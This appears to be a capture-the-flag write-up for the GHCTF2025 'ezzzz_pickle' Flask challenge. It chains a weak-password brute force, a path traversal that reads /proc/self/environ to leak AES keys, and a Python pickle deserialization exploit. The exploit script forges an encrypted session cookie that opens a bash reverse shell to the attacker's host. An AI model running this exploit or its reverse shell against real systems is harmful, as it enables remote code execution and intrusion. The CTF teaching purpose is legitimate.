GHCTF2025 ezzzz_pickle Problem Solution

2,883 Views
No Comments

Total 8920 characters, estimated reading time: 23 minutes.

Reminder: This article was last updated on May 13, 2026, at 23:20. The information referenced in the text may have changed—please be aware of this!

Title

The title is ezzzz_pickle, affirmations and pickle Modules are related.

This is the source code that broke out after solving the problem:

from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os

app = Flask(__name__)

def generate_key_iv():
    key = os.environ.get('SECRET_key').encode()
    iv = os.environ.get('SECRET_iv').encode()
    return key, iv

def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):

    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

    if mode == 'encrypt':
        encryptor = cipher.encryptor()

        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()  

    elif mode == 'decrypt':
        decryptor = cipher.decryptor()

        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()

        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()

users = {
    "admin": "admin123",
}

def create_session(username):

    session_data = {
        "username": username,
        "expires": time.time() + 3600  
    }
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')

    key,iv=generate_key_iv()
    session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')

    return session

def dowload_file(filename):
    path=os.path.join("static",filename)
    with open(path, 'rb') as f:
        data=f.read().decode('utf-8')
    return data
def validate_session(cookie):

    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
        pickled_data=base64.b64decode(pickled)

        session_data = pickle.loads(pickled_data)
        if session_data["username"] !="admin":
            return False

        return session_data if session_data["expires"] > time.time() else False
    except:
        return False

@app.route("/",methods=['GET','POST'])
def index():

    if "session" in request.cookies:
        session = validate_session(request.cookies["session"])
        if session:
            data=""
            filename=request.form.get("filename")
            if(filename):
                data=dowload_file(filename)
            return render_template("index.html",name=session['username'],file_data=data)

    return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():

    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if users.get(username) == password:
            resp = make_response(redirect("/"))

            resp.set_cookie("session", create_session(username))
            return resp
        return render_template("login.html",error="Invalid username or password")

    return render_template("login.html")

@app.route("/logout")
def logout():
    resp = make_response(redirect("/login"))
    resp.delete_cookie("session")
    return resp

if __name__ == "__main__":
    app.run(host="0.0.0.0",debug=False)

Ideas

Just entering this topic requires us to enter a user name and password:

GHCTF2025 ezzzz_pickle Problem Solution

Guess should be a weak password, directly use WebCrack Blasting:

git clone https://github.com/yzddmr6/WebCrack
cd WebCrack
pip install -r requirements.txt
python3 webcrack.py

GHCTF2025 ezzzz_pickle Problem Solution

Get username and password respectively admin and admin123. Continue Login:

GHCTF2025 ezzzz_pickle Problem Solution

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hello Page</title>
</head>
<body>
    <h1>Hello, admin!</h1>
     <!-- hint:session_pickle -->
    <h1></h1>
        <form method="POST" action="/">
    <input type="hidden" name="filename" value="fake_flag.txt">
            <button type="submit" class="btn btn-login">读取flag</button>
        </form>
</body>
</html>

Note that <!-- hint:session_pickle -->, prompting us to use pickle deserialization injection session. Take a closer look <input type="hidden" name="filename" value="fake_flag.txt">There seems to be a file reading vulnerability.

Will value="fake_flag.txt" Changed value="/proc/self/environ" You can return the environment variables of the current program:

GHCTF2025 ezzzz_pickle Problem Solution

PYTHON_SHA256=bfb249609990220491a1b92850a07135ed0831e41738cf681d63cf01b2a8fbd1
HOSTNAME=38442838d9fb435bPYTHON_VERSION=3.10.16
PWD=/app
HOME=/root
LANG=C.UTF-8
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
FLAG=no_FLAG
SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
SHLVL=1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SECRET_iv=asdwdggiouewhgpw
_=/usr/local/bin/flask
OLDPWD=/

According PWD=/app It is known that the program reads in this directory. /app/app.py You can get the source code:

from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os

app = Flask(__name__)

def generate_key_iv():
    key = os.environ.get('SECRET_key').encode()
    iv = os.environ.get('SECRET_iv').encode()
    return key, iv

def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):

    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

    if mode == 'encrypt':
        encryptor = cipher.encryptor()

        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()  

    elif mode == 'decrypt':
        decryptor = cipher.decryptor()

        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()

        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()

users = {
    "admin": "admin123",
}

def create_session(username):

    session_data = {
        "username": username,
        "expires": time.time() + 3600  
    }
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')

    key,iv=generate_key_iv()
    session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')

    return session

def dowload_file(filename):
    path=os.path.join("static",filename)
    with open(path, 'rb') as f:
        data=f.read().decode('utf-8')
    return data
def validate_session(cookie):

    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
        pickled_data=base64.b64decode(pickled)

        session_data = pickle.loads(pickled_data)
        if session_data["username"] !="admin":
            return False

        return session_data if session_data["expires"] > time.time() else False
    except:
        return False

@app.route("/",methods=['GET','POST'])
def index():

    if "session" in request.cookies:
        session = validate_session(request.cookies["session"])
        if session:
            data=""
            filename=request.form.get("filename")
            if(filename):
                data=dowload_file(filename)
            return render_template("index.html",name=session['username'],file_data=data)

    return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():

    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if users.get(username) == password:
            resp = make_response(redirect("/"))

            resp.set_cookie("session", create_session(username))
            return resp
        return render_template("login.html",error="Invalid username or password")

    return render_template("login.html")

@app.route("/logout")
def logout():
    resp = make_response(redirect("/login"))
    resp.delete_cookie("session")
    return resp

if __name__ == "__main__":
    app.run(host="0.0.0.0",debug=False)

Section Line 76 will appear pickle The deserialization vulnerability of, but here the program first decrypts (first AES Decryption (Line 72 ) again BASE64 decryption (Line 73 )). Therefore, we need to use the environment variable just now. SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv and SECRET_iv=asdwdggiouewhgpw, serialize first:

class User:
    def __init__(self):
        self.username = "admin"
        self.expires = 1941144899

    def __reduce__(self):
        return eval, ("__import__('os').system('sleep 3')",)

data = User()
print(pickle.dumps(data))

The print is pickle Will User The raw data after serialization of the class. On deserialization,pickle will be executed automatically reduce The method inside will cause a loophole in the execution of arbitrary commands. This loophole is very dangerous! Then we can encrypt the data according to the procedure just now, and we can get dangerous session:

import base64
import pickle

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

if __name__ == "__main__":

    def generate_key_iv():
        key = "ajwdopldwjdowpajdmslkmwjrfhgnbbv".encode()
        iv = "asdwdggiouewhgpw".encode()
        return key, iv

    def aes_encrypt_decrypt(data, key, iv, mode="encrypt"):
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

        if mode == "encrypt":
            encryptor = cipher.encryptor()

            padder = padding.PKCS7(algorithms.AES.block_size).padder()
            padded_data = padder.update(data.encode()) + padder.finalize()
            result = encryptor.update(padded_data) + encryptor.finalize()
            return base64.b64encode(result).decode()

        elif mode == "decrypt":
            decryptor = cipher.decryptor()

            encrypted_data_bytes = base64.b64decode(data)
            decrypted_data = (
                decryptor.update(encrypted_data_bytes) + decryptor.finalize()
            )

            unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
            unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
            return unpadded_data.decode()

    class User:
        def __init__(self):
            self.username = "admin"
            self.expires = 1941144899

        def __reduce__(self):
            # 任意命令执行
            return eval, (
                "__import__('os').system(\"bash -c 'exec bash -i >& /dev/tcp/你的IP/你的端口 0>&1 2>&1'\")",
            )

    data = User()

    # 序列化数据
    pickled_data = pickle.dumps(data)

    # BASE64加密
    pickled_data = base64.b64encode(pickled_data).decode("utf-8")

    # 根据源程序的AES加密
    key, iv = generate_key_iv()
    session = aes_encrypt_decrypt(pickled_data, key, iv, mode="encrypt")

    # 结果
    print(session)

Place the resulting results in the browser's Cookie Inside, refresh the page:

GHCTF2025 ezzzz_pickle Problem Solution

I rebounded directly here bash Give my host, get control:

GHCTF2025 ezzzz_pickle Problem Solution

Final Payload

jn4MYzY+mUVADRPVP3QhdKEwsCduzFuRhsCVSMgVpa6kjJo9HlI+/MmfCPM6vLgn6aUgm0saMuRsTnCGStWKWYsdkTCHvu4cIwvJW8PwfY3ajE1KxmtkTUQkH0DywE73zKilTzL93ueiyLRNwAJcyQrlffpl/q0fH99r7/Z8JsODdpsGPh8ue9xW0k+h8cxgSIqleTvAvRjv7uE+VY2g2g==

GHCTF2025 ezzzz_pickle Problem Solution

END
 1
Comment(No Comments)
Captcha